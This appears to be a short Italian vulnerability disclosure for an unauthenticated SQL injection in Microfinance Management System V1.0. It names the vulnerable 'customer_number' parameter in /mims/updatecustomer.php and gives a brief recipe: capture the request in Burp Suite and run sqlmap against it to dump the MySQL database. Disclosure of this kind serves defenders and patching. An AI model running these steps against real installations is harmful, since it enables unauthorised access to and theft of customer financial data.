erengozaydin/microfinance-management-system-v1.0-sql-injection-vulnerability-unauthenticatedProof-of-concept exploit per una vulnerabilità di SQL injection non autenticata in Microfinance Management System V1.0, che consente l'estrazione remota di dati tramite il parametro customer_number.
Microfinance Management System V1.0 Vulnerabilità di SQL Injection (Non autenticato)
Microfinance Management System consente SQL Injection tramite il parametro 'customer_number' in /mims/updatecustomer.php. Sfruttando questo problema, un attaccante potrebbe compromettere l'applicazione, accedere o modificare i dati, o sfruttare vulnerabilità latenti nel database sottostante.
In Burpsuite, intercettare la richiesta dalla pagina interessata con il parametro 'customer_number' e salvarla come poc.txt. Quindi eseguire SQLmap per estrarre i dati dal database:
sqlmap.py -r poc.txt --dbms=mysql
(basato su errori)
